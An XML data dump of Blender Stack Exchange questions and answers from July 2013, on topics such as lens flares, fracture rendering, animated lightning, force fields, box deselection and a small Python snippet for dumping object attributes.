  <row Id="1870" PostTypeId="2" ParentId="1864" CreationDate="2013-07-17T19:25:12.653" Score="8" Body="&lt;p&gt;In addition to the OSL shader mentioned by zeffi, you can try these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Blender Internal(2.79 or less) only:&lt;/strong&gt;&lt;br&gt;&#xA;You can use the &lt;em&gt;Halo&lt;/em&gt; material with the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/special_effects/halo.html#flare-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Flare&lt;/em&gt; option&lt;/a&gt; enabled to fake lens flares.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cycles and BI:&lt;/strong&gt;&lt;br&gt;&#xA;Using &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compositing nodes&lt;/em&gt;&lt;/a&gt;:&lt;br&gt;&#xA;You can use a &lt;em&gt;Glare node&lt;/em&gt; set to &lt;em&gt;Ghosts&lt;/em&gt; to make a lens flair.&lt;br&gt;&#xA;For chromatic aberration, you could use a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/compositing/types/distort/lens_distortion.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Lens Distortion node&lt;/em&gt;&lt;/a&gt; with the &lt;em&gt;Dispersion&lt;/em&gt; value set to something greater than zero.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-05-20T02:58:39.600" LastActivityDate="2020-05-20T02:58:39.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1871" PostTypeId="1" AcceptedAnswerId="70085" CreationDate="2013-07-17T20:42:58.530" Score="7" ViewCount="850" Body="&lt;p&gt;Is there a way to render transparent objects that have been pre-fractured with the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Fracture&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Cell Fracture addon&lt;/em&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can kind of get this to work by parenting the original object to one of the shards (or simulating it by itself) and swapping the visibility of the objects when the shards fly apart:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hBMOH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, It is obvious that it suddenly breaks the entire object on impact and just doesn't really look right. (the animation is slowed down at that point so it is more visible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-12-04T15:54:50.300" LastActivityDate="2016-12-29T14:48:45.083" Title="Rendering Transparent objects with the Cell Fracture addon?" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1872" PostTypeId="5" CreationDate="2013-07-17T20:45:56.747" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-17T20:45:56.747" LastActivityDate="2013-07-17T20:45:56.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1873" PostTypeId="4" CreationDate="2013-07-17T20:45:56.747" Score="0" Body="The Cell Fracture addon is a bundled script that was added in Blender 2.65. It is used to quickly fracture an object into many pieces that are ready to be simulated while maintaining the overall shape." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-17T21:13:01.253" LastActivityDate="2013-07-17T21:13:01.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1874" PostTypeId="2" ParentId="1871" CreationDate="2013-07-17T21:13:59.933" Score="5" Body="&lt;p&gt;Take advantage of the node compositor and render layers. If you put the original (non-fractured) object on a separate render layer, you can smooth out the transition. Basically, the idea would be to reduce the opacity of the original object's render layer over the span of a few frames rather than use the hard swap that you currently have. Stretching that transition over more than a couple frames will make the change less apparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be done from the VSE, but you'd need to either use separate scene strips or render the animation twice (once with the original object and once with the fractured object).&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-07-17T21:13:59.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1875" PostTypeId="1" AcceptedAnswerId="7672" CreationDate="2013-07-17T22:40:31.990" Score="31" ViewCount="24395" Body="&lt;p&gt;I know about the technique of using a displace modifier with an animated displace object on a thin plane, but there are no &quot;branches&quot;, no forking in the lightning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image &lt;a href=&quot;http://en.wikipedia.org/wiki/Tesla_coil&quot; rel=&quot;noreferrer&quot;&gt;from Wikipedia&lt;/a&gt; that shows more or less what I'm thinking of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sIoTL.jpg&quot; alt=&quot;Electric discharge showing the lightning-like plasma filaments from a Tesla coil.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve an 3D animated affect like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few things, such as the &lt;em&gt;&lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=27189&quot; rel=&quot;noreferrer&quot;&gt;Laplacian lightning  generator addon&lt;/a&gt;&lt;/em&gt;. However, it doesn't support animation and repeatedly generating meshes and then manually animating the visibility is a tedious.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-10T19:21:58.947" LastActivityDate="2017-01-13T10:57:50.313" Title="How to create an animated Electric Arc or Lightning?" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="5" CommentCount="15" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="1876" PostTypeId="5" CreationDate="2013-07-17T22:52:08.433" Score="0" Body="&lt;p&gt;There are thirteen different &lt;em&gt;Force Fields&lt;/em&gt;, not including &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/scene/properties.html#gravity&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Gravity&lt;/em&gt;&lt;/a&gt; which is located in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/scene/properties.html#scene&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Properties &amp;gt; Scene Panel&lt;/em&gt;&lt;/a&gt;.&lt;br /&gt;&#xA;The thirteen forces are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/force.html#force&quot; rel=&quot;nofollow noreferrer&quot;&gt;Force&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/wind.html#wind&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wind&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/vortex.html#vortex&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vortex&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/magnetic.html#magnetic&quot; rel=&quot;nofollow noreferrer&quot;&gt;Magnetic&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/harmonic.html#harmonic&quot; rel=&quot;nofollow noreferrer&quot;&gt;Harmonic&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/charge.html#charge&quot; rel=&quot;nofollow noreferrer&quot;&gt;Charge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/lennard_jones.html#lennard-jones&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lennard-Jones&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/texture.html#texture&quot; rel=&quot;nofollow noreferrer&quot;&gt;Texture&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/curve_guide.html#curve-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve Guide&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/boid.html#boid&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boid&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/turbulence.html#turbulence&quot; rel=&quot;nofollow noreferrer&quot;&gt;Turbulence&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/drag.html#drag&quot; rel=&quot;nofollow noreferrer&quot;&gt;Drag&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/types/fluid_flow.html#fluid-flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fluid Flow&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;All the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/index.html#physics&quot; rel=&quot;nofollow noreferrer&quot;&gt;physics systems&lt;/a&gt; are effected by force fields except for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/fluid/introduction.html#liquid-simulations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fluid (liquid simulations)&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&#xA;The &lt;em&gt;Fluid&lt;/em&gt; dynamics system is effected by the scene &lt;em&gt;Gravity&lt;/em&gt;, but not any of the other forces.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/physics/ocean.html#ocean-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ocean&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&#xA;The &lt;em&gt;Ocean Modifier&lt;/em&gt; has it's own settings for wind velocity, direction, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/collision.html#collision&quot; rel=&quot;nofollow noreferrer&quot;&gt;Collision&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&#xA;The &lt;em&gt;Collision&lt;/em&gt; modifier only causes other dynamic objects such as particles and cloth to collide with it, otherwise it remains completely static.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/dynamic_paint/index.html#dynamic-paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Paint&lt;/a&gt;&lt;/em&gt;&lt;br /&gt;&#xA;The &lt;em&gt;Dynamic Paint&lt;/em&gt; system has no interaction with &lt;em&gt;Force Fields&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All the physics systems that do interact with &lt;em&gt;Force Fields&lt;/em&gt; have a panel (&lt;em&gt;Field Weights&lt;/em&gt;) for individually controlling force field influence for that system.&lt;/p&gt;&#xA;&lt;p&gt;More details about each &lt;em&gt;Force Field&lt;/em&gt; can be found at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/forces/force_fields/index.html#force-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-20T16:25:12.400" LastActivityDate="2020-10-20T16:25:12.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1877" PostTypeId="4" CreationDate="2013-07-17T22:52:08.433" Score="0" Body="Force fields can be used to add effect to many of Blender's physics systems (Such as wind to blow particles and cloth, turbulence to smoke, etc.) " OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-17T22:56:14.970" LastActivityDate="2013-07-17T22:56:14.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1878" PostTypeId="2" ParentId="1875" CreationDate="2013-07-18T01:29:21.133" Score="4" Body="&lt;p&gt;I would recommend something like Andrew Price did in his lighting tutorial (&lt;a href=&quot;http://www.blenderguru.com/videos/how-to-create-a-lightning-storm/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/videos/how-to-create-a-lightning-storm/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use an animated gradient to affect the alpha to make the base bolt appear (you use a gradient to only reveal a certain part of the bolt over a few frames). Then you have a separate object containing the branches which appears a frame later.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-18T01:29:21.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1879" PostTypeId="1" AcceptedAnswerId="1880" CreationDate="2013-07-18T06:38:57.403" Score="15" ViewCount="60085" Body="&lt;p&gt;Due to the lack of a class diagramm I need to explore the data structures by dumping objects to see what is in there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I dump the Objects internals to the console?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this snippet I tried to print the objects but I only get error messages 'TypeError'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def assignPose( plIdx ):&#xA;    rig = bpy.data.objects.get(&quot;rig&quot;)&#xA;&#xA;    if rig != None:&#xA;        print(&quot;rig=&quot; + str(tuple( rig ))) # TypeError: 'Object' object is not iterable&#xA;        print( &quot;&quot; + rig.__str__ )         # TypeError: Can't convert 'method-wrapper' object to str implicitly&#xA;        pl = rig.pose_library&#xA;        pl.poselib_apply_pose( plIdx )&#xA;    else:&#xA;        print(&quot;couldn't find rig.&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-07-18T07:04:05.493" LastActivityDate="2013-09-11T22:13:57.763" Title="Is it possible to dump an Objects Properties and Methods?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1880" PostTypeId="2" ParentId="1879" CreationDate="2013-07-18T06:59:51.663" Score="15" Body="&lt;p&gt;I found a solution to get started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def dump(obj):&#xA;   for attr in dir(obj):&#xA;       if hasattr( obj, attr ):&#xA;           print( &quot;obj.%s = %s&quot; % (attr, getattr(obj, attr)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is based on one of the methods suggested on this &lt;a href=&quot;https://stackoverflow.com/questions/192109/is-there-a-function-in-python-to-print-all-the-current-properties-and-values-of/192184#192184&quot;&gt;Stackoverflow post&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/610883/how-to-know-if-an-object-has-an-attribute-in-python&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of invoking &lt;code&gt;print&lt;/code&gt; call &lt;code&gt;dump( anyobject )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would print something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;obj.copy = &amp;lt;bpy_func Object.copy()&amp;gt;&#xA;obj.cycles_visibility = &amp;lt;bpy_struct, CyclesVisibilitySettings(&quot;&quot;)&amp;gt;&#xA;obj.data = &amp;lt;bpy_struct, Armature(&quot;rig&quot;)&amp;gt;&#xA;obj.delta_location = &amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;obj.delta_rotation_euler = &amp;lt;Euler (x=0.0000, y=0.0000, z=0.0000), order='XYZ'&amp;gt;&#xA;obj.delta_rotation_quaternion = &amp;lt;Quaternion (w=1.0000, x=0.0000, y=0.0000, z=0.0&#xA;000)&amp;gt;&#xA;obj.delta_scale = &amp;lt;Vector (1.0000, 1.0000, 1.0000)&amp;gt;&#xA;obj.dimensions = &amp;lt;Vector (0.0000, 0.0000, 0.0000)&amp;gt;&#xA;obj.draw_bounds_type = BOX&#xA;obj.draw_type = WIRE&#xA;obj.dupli_faces_scale = 1.0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-07-18T09:54:25.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostTypeId="2" ParentId="1875" CreationDate="2013-07-18T07:58:42.760" Score="3" Body="&lt;p&gt;I would model the base structure (the branches), set up emission strength to vary based on the distance from the root, and add two displacements for the two axis. The main direction could be animated by hand (to have some control), and the small movements with the displacements texture. Here is what I achieved using cloud textures. Note that I was not too patient about making too much braches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AkkOQ.png&quot; alt=&quot;Rendered&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6svJv.png&quot; alt=&quot;First&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qszBD.png&quot; alt=&quot;Second&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p3Ktn.png&quot; alt=&quot;Node Setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9GJ8e.png&quot; alt=&quot;The Modiers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-15T17:49:17.863" LastActivityDate="2014-03-15T17:49:17.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostTypeId="2" ParentId="1866" CreationDate="2013-07-18T08:45:13.147" Score="3" Body="&lt;p&gt;Another way to do this is to render your animation, then go to the video sequence editor. Add your rendered images or movie, press &lt;kbd&gt;N&lt;/kbd&gt; and go to the options in the filter section and check the option to play the active clip backwards. Go back to VSE press control &lt;kbd&gt;F12&lt;/kbd&gt; (to sequence render, again), with the backwards box checked and this will render your animation in reverse.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="24793" LastEditDate="2016-12-24T02:03:12.207" LastActivityDate="2016-12-24T02:03:12.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1883" PostTypeId="1" CreationDate="2013-07-18T10:07:03.683" Score="29" ViewCount="74384" Body="&lt;p&gt;How do I deselect using the box select tool? I have read about middle mouse button and some other shortcuts but they don't work for me.&lt;/p&gt;&#xA;" OwnerUserId="889" LastEditorUserId="12" LastEditDate="2013-07-18T13:56:41.433" LastActivityDate="2017-02-14T09:55:51.983" Title="How to deselect using box select?" Tags="&lt;shortcut&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostTypeId="2" ParentId="1883" CreationDate="2013-07-18T10:28:33.490" Score="25" Body="&lt;p&gt;If using v2.68 (revision &lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=57577&quot; rel=&quot;noreferrer&quot;&gt;57577&lt;/a&gt;+), you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;B&lt;/kbd&gt;, &lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;LMB&lt;/kbd&gt; and drag to form the (de)selection rectangle, &lt;/li&gt;&#xA;&lt;li&gt;hold down &lt;kbd&gt;Shift&lt;/kbd&gt; while releasing &lt;kbd&gt;LMB&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dz9ny.gif&quot; alt=&quot;Demonstration of the above steps.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="290" LastEditDate="2013-07-18T15:07:35.823" LastActivityDate="2013-07-18T15:07:35.823" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostTypeId="2" ParentId="1883" CreationDate="2013-07-18T10:54:16.590" Score="3" Body="&lt;p&gt;As described on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Rectangular_or_Border_Select&quot; rel=&quot;nofollow&quot;&gt;Blender wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;B&lt;/kbd&gt; to enter border selection.&lt;/li&gt;&#xA;&lt;li&gt;Drag the deselection rectangular using your middle mouse button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-18T11:39:06.300" LastActivityDate="2013-07-18T11:39:06.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1886" PostTypeId="2" ParentId="1875" CreationDate="2013-07-18T13:01:11.757" Score="17" Body="&lt;p&gt;A third option is to use the technique I use in my '&lt;a href=&quot;http://www.youtube.com/watch?v=UIwwuB0qGBo&quot; rel=&quot;noreferrer&quot;&gt;Lightning/Electricity Text Effect&lt;/a&gt;' tutorial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this video I use the 'IvyGen' add-on which is included with blender (but needs to be enabled in the preferences).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By disabling the generating of leaves when using the addon you are able to create forking, randomised curves which when done correctly can have the appearance of lightning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 . Add an object that the ivy can grow towards and place the 3D cursor a fair distance away. Ivy will grow from the cursor towards the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQ499.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 . &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to add a curve, a new option will be there called '&lt;strong&gt;Add Ivy to Mesh&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 . Change the settings of the added ivy in the toolbar. Mainly the length, float length, ivy size and Gravity weight need to be changed. Length will determine maximum possible length and float length determines how long branches can float in the air while searching for a mesh to grab onto. Gravity will weigh the branches down. Also disable 'Grow leaves'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWL0J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 . The result is something that with tweaking could be lightning. Increase the bevel depth on the curve settings for a thicker curve. The original mesh (that the lightning was drawn towards) can be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will then be able to edit the curve normally and delete any branches which don't look as good or modify existing ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YNIBA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I generally just animate the visibility of the lightning on and off for a flickering effect. Though you could animate the bevel start and end values on the curve properties to get the lightning to appear properly, but for many curves, as this creates, that could be tiresome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could create several lightning elements using the described method and flick between them by animating their visibilities on and off, but to transition from one lightning shape to another is a bit more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The 'update ivy button' at the top of the ivy panel will need to be pressed to see an update to the ivy after changing settings. Using any other tool, even selecting or scaling another object will cause the ivy settings to disappear.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2013-07-18T22:42:17.130" LastActivityDate="2013-07-18T22:42:17.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostTypeId="2" ParentId="1883" CreationDate="2013-07-18T13:39:39.103" Score="4" Body="&lt;p&gt;It sounds like your issue is an issue with the middle mouse button on your mouse. The following steps do not require a working middle mouse button to deselect:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to your user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;Input&lt;/em&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;In the left sidebar, check the &lt;em&gt;Emulate 3 Button Mouse&lt;/em&gt; checkbox&lt;/li&gt;&#xA;&lt;li&gt;Whenever instructions say to use the  middle mouse button, you can now use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;em&gt;Left Click&lt;/em&gt; instead.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To use box select to deselect use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;em&gt;Left Click&lt;/em&gt; and drag.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-18T14:33:23.133" LastActivityDate="2013-07-18T14:33:23.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostTypeId="1" CreationDate="2013-07-18T15:06:48.500" Score="15" ViewCount="2688" Body="&lt;p&gt;How can I get a camera to render with a &lt;a href=&quot;http://en.wikipedia.org/wiki/Oblique_projection#Cabinet_projection&quot; rel=&quot;noreferrer&quot;&gt;cabinet projection&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is possible to get a &lt;a href=&quot;http://en.wikipedia.org/wiki/Video_games_with_isometric_graphics&quot; rel=&quot;noreferrer&quot;&gt;gaming isometric projection&lt;/a&gt;, but that's not really what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried positioning an orthographic camera in almost all possible ways but still can't get one. Actually an orthographic camera wouldn't work because as soon as you get the world x-axis parallel to the viewport x-axis, the world y-axis is always parallel to the viewport y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is something like shearing, but I am not so sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cabinet projection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Potting-bench-cabinet-view.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ijjhR.png&quot; alt=&quot;A table from Wikipedia&quot;&gt;&lt;br&gt;&#xA;Image from Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="292" LastEditorUserId="599" LastEditDate="2013-12-05T22:54:25.090" LastActivityDate="2014-04-24T01:07:41.187" Title="How can I get a cabinet projection camera?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1890" PostTypeId="2" ParentId="1662" CreationDate="2013-07-18T16:11:47.540" Score="1" Body="&lt;p&gt;You can investigate this simple tutorial. It's only a few steps and you're ready to go with mist pass. By the way - great feature, we don't have to go back to blender render to set it up.&#xA;&lt;a href=&quot;http://blog.yamandi.com/mist-pass-blender-268-how-use-it-cycles&quot; rel=&quot;nofollow&quot;&gt;http://blog.yamandi.com/mist-pass-blender-268-how-use-it-cycles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="972" LastActivityDate="2013-07-18T16:11:47.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
